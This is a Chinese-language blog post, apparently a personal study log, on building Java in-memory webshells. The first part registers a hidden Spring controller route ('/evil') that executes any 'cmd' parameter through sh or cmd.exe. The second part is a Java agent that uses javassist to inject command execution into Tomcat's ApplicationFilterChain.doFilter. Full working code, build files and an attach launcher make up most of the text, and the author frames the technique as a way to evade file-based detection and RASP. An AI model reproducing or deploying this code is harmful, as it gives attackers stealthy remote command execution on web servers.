什么是MemShell?
之所以搞个这东西出来,maybe就是落地文件webshell太敏感了,无论是否代码层面是否免杀,落地了文件就是容易被查杀和拦截,属于敏感操作;而内存马(主要是针对java)能实现通过漏洞入口(一般是存在反序列化,jndi入口),通过拿到一些关键变量注入我们的恶意逻辑,通过请求恶意路由传递参数执行恶意逻辑,以达到跟传统webshell一样的效果,这个过程中无文件落地,动静较小,因此在java攻防中深受安全人员的喜爱.
分类
1.中间件系内存马
Spring Controller 内存马
有别于agent内存马直接修改字节码,这些通用的框架内存马通常是拿到当前thread的context然后添加恶意后门路由以及逻辑.
因此分析其Controler的解析和构成即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package com.springMVC; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping;
@Controller public class TestController { @RequestMapping("/eviden") public String index(){ return "index"; } }
|
首先搭一个spring的环境断一个路由函数

拿到一个调用栈,然后依次分析即可

最终在DispatcherServlet类中通过this.handlerMappings拿到对应request的handler

然后到AbstractHandlerMapping.getHandler

最终到AbstractHandlerMethodMapping.getHandlerInternal 拿到合适的 handlerMethod
目标就关注这个mapRegistry

应该就是直接添加一个键值进去,所以我们如果可以手动触发register方法,就可以添加恶意路由
public void register(T mapping, Object handler, Method method)

该类为抽象类,无法直接实例化,可以通过找到子类进行触发register方法
RequestMappingInfoHandlerMapping extends AbstractHandlerMethodMapping but这个RequestMappingInfoHandlerMapping又是抽象类,继续往下找
public class RequestMappingHandlerMapping extends RequestMappingInfoHandlerMapping

那么RequestMappingHandlerMapping 就是我们的入口了,看一下传参
1 2 3
| mapping – the mapping for the handler method handler – the handler method – the method
|
因此并不能直接new一个对象,因为项目以及启动,得先拿到上下文context这个变量,在这儿可以传入有效的上下文初始化打一个断点看看
最终在WebApplicationContext接口里看到了ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE

自己找到一个,入参是ServletContext sc,那么可以看看它是如何得到的WebApplicationContext


直接通过sc.getAttribute(attrName)就拿到了那么我们还可以简化一下,就是拿到这个ServletContext即可!(最后发现这个拿到的context也不是当前运行环境的context,遂die~)
但是分析的位置其实是对的,but就是失败,后面找文章学习学习
WebApplicationContextUtils 中存在 getWebApplicationContext getRequeiredWebApplication 都可以根据当前的ServletContext直接拿到当前运行的context!因为它是抽象类,那我们直接使用即可
后面还是通过WebApplicationContext wc= (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);拿到的context才注入成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| package com.springMVC; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestAttributes; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.ServletContext; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.InputStream; import java.lang.reflect.Method; import java.util.Scanner; @Controller public class evil{ @RequestMapping("/inject") @ResponseBody public String inject(HttpServletRequest request) throws NoSuchMethodException {
WebApplicationContext wc= (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping rmhl = wc.getBean(RequestMappingHandlerMapping.class); PatternsRequestCondition evilPath = new PatternsRequestCondition("/evil"); RequestMappingInfo mapping = new RequestMappingInfo(evilPath, new RequestMethodsRequestCondition(), null, null,null,null,null); Method method = EvilController.class.getMethod("cmd"); System.out.println(rmhl.getHandlerMethods().keySet()); return "Inject done"; } @Controller @ResponseBody public class EvilController { public EvilController(){ } public void cmd()throws Exception{ HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); if (request.getParameter("cmd")!=null){ boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); response.getWriter().close(); } } } }
|
网上看到都是用的(WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);感觉上应该不止这个方法,rasp太容易监控这个了类了,或者别人随便搞个黑名单就kill all了~
翻了一下网上居然没有agent去hook spring函数的内存马???目前就只看到过tomcat的,还是广为流传的垃圾版本…
而且spring又不是只能运行在tomcat,众所周知某微的就是resin框架,感觉还是得从spring这个层面来考虑考虑agent内存马
注入Agent🐎 冰蝎(一)
先列举自己踩的几个坑:
-
64位和32位的不能不一致,运行的jdk一般是64位,tomcat必须保持64位
-
tomcat的输出流控制台打印好像有问题,有几条都成功
-
简易在maven项目里使用嵌入式的tomcat进行调试,且保持两个项目的jdk一致
Maven依赖
记得更换相关类的配置
1
| <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>me.eviden</groupId> <artifactId>agent-inject</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.30.2-GA</version> </dependency> <dependency> <groupId>com.sun</groupId> <artifactId>tools</artifactId> <version>1.8</version> <scope>system</scope> <systemPath>F:\Main-Sec\JavaSec\code\AgentShellTomcat\src\main\java\lib\tools.jar</systemPath> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-assembly-plugin</artifactId> <configuration> <descriptorRefs> <descriptorRef>jar-with-dependencies</descriptorRef> </descriptorRefs> <archive> <manifestEntries> <Main-Class>me.eviden.Main</Main-Class> <Agent-Class>me.eviden.AgentMainTest</Agent-Class> <Can-Redefine-Classes>true</Can-Redefine-Classes> <Can-Retransform-Classes>true</Can-Retransform-Classes> </manifestEntries> </archive> </configuration> <executions> <execution> <id>make-assembly</id> <phase>package</phase> <goals> <goal>single</goal> </goals> </execution> </executions> </plugin> </plugins> </build> </project>
|
AgentMainTest 控制被注入的类的位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package me.eviden;
import java.lang.instrument.Instrumentation; import java.lang.instrument.UnmodifiableClassException;
public class AgentMainTest { public static void agentmain(String agentArgs, Instrumentation inst) { System.out.println("[Agent attached!]"); inst.addTransformer(new MyTransformer(), true); for (Class<?> clazz : inst.getAllLoadedClasses()) { if (clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) { System.out.println("[Found ApplicationFilterChain, begin to retransform]"); try { inst.retransformClasses(clazz); System.out.println("[Retransform success!]"); } catch (UnmodifiableClassException e) { System.out.println("[Retransform failed!]"); throw new RuntimeException(e); } } } } }
|
MyTransformer用assist或者ASM技术操作字节码都行,主要是在org/apache/catalina/core/ApplicationFilterChain的doFilter方法前嵌入我们的恶意代码,but实测下来有问题或者说手法太过粗糙…,会弹出两次计算器,见大佬的分析: Java Agent 内存马 - X1r0z Blog
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| package me.eviden;
import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import javassist.LoaderClassPath;
import java.io.ByteArrayInputStream; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain;
public class MyTransformer implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { if (className.equals("org/apache/catalina/core/ApplicationFilterChain")){ ClassPool pool = ClassPool.getDefault(); pool.appendClassPath(new LoaderClassPath(loader)); try { CtClass cc = pool.makeClass(new ByteArrayInputStream(classfileBuffer)); CtMethod doFilter = cc.getDeclaredMethod("doFilter"); doFilter.insertBefore("{ " + "String cmd = request.getParameter(\"cmd\");\n" + "if (cmd != null) {\n" + " try {\n" + " Process proc = Runtime.getRuntime().exec(cmd);\n" + " java.io.InputStream in = proc.getInputStream();\n" + " java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" + " response.setContentType(\"text/html\");\n" + " String line;\n" + " java.io.PrintWriter out = response.getWriter();\n" + " while ((line = br.readLine()) != null) {\n" + " out.println(line);\n" + " out.flush();\n" + " out.close();\n" + " }\n" + " } catch (Exception e) {\n" + " throw new RuntimeException(e);\n" + " }\n" + "}" + " }"); return cc.toBytecode(); } catch (Exception e) { throw new RuntimeException(e); } } return classfileBuffer; } }
|
启动类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| package me.eviden;
import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor;
import java.io.BufferedReader; import java.io.InputStreamReader; import java.net.URL; import java.security.ProtectionDomain; import java.util.List;
public class Main { public static void main(String[] args) throws Exception { final String attachClassName = "com.eivden.Main"; final String agentJarPath = "F:\\Main-Sec\\JavaSec\\code\\AgentShellTomcat\\target\\agent-inject-1.0-SNAPSHOT-jar-with-dependencies.jar"; String pid = ""; List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor v : list) { if (v.displayName().contains(attachClassName)) { System.out.println("[Found target at JVM: " + v.displayName() + "]"); pid = v.id(); System.out.println("[Found PID: " + pid + "]"); } } VirtualMachine vm = VirtualMachine.attach(pid); vm.loadAgent(agentJarPath); System.out.println("[Agent loaded successfully!]"); } }
|
下面以JDK 8u202 以及tomcat 9.0.85 作为目标靶机进行演示:
嵌入式 tomcat 项目配置如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion>
<groupId>com.eviden.learnjava</groupId> <artifactId>web-servlet-embedded</artifactId> <version>1.0-SNAPSHOT</version> <packaging>war</packaging>
<properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <java.version>8</java.version> <tomcat.version>9.0.85</tomcat.version> </properties>
<dependencies> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-core</artifactId> <version>${tomcat.version}</version>
</dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-jasper</artifactId> <version>${tomcat.version}</version>
</dependency> </dependencies> <build> <finalName>hello</finalName> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-war-plugin</artifactId> <version>3.3.2</version> <configuration> <webResources> <resource> <directory>${project.build.directory}/classes</directory> </resource>
<resource>
<directory>src/main/java/com/eivden/webapps</directory> <includes> <include>**/*.jsp</include> </includes> </resource> </webResources> <archiveClasses>true</archiveClasses> <archive> <manifest> <addClasspath>true</addClasspath> <classpathPrefix>tmp-webapp/WEB-INF/lib/</classpathPrefix> <mainClass>com.eivden.Main</mainClass> </manifest> </archive> </configuration> </plugin> </plugins> </build> </project>
|
注: 使用嵌入的tomcat时选取attach的类要为tomcat项目的启动类而非默认的Catalina


后面再优化优化这个内存马的逻辑…